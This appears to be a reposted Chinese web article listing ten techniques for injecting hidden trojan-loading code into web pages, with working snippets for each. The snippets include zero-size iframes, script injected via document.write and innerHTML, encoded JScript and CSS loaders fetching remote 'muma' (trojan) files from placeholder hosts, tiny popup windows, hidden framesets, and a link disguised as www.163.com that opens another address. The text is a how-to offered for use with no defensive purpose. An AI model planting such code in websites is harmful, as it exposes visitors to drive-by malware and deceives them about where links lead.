| 关键词: nbsp document body 伪装 innerHTML 先将 代码 write 后缀 加密 |
一:框架 <iframe src=地址 width=0 height=0></iframe> 二:js文件 首先将以下代码 document.write("<iframe width='0' height='0' src='地址'></iframe>"); 保存为xxx.js, 则JS挂马代码为 <script language=javascript src=xxx.js></script> 三:js变形加密 <SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script> muma.txt可改成任意后缀四:body <body onload="window.location='地址';"></body>五:隐蔽 top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>';六:css中... body { background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')} 七:JAJA... <SCRIPT language=javascript> window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); </script>八:图片伪装 <html> <iframe src="地址" height=0 width=0></iframe> <img src="图片地址"></center> </html>九:伪装调用: <frameset rows="444,0" cols="*"> <frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0"> <frame src="地址" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0"> </frameset>十:高级欺骗 <a href="http://www.163.com(迷惑连接地址,显示这个地址指向插入地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a><SCRIPT Language="JavaScript">function www_163_com (){var url="地址";open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");}</SCRIPT> |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|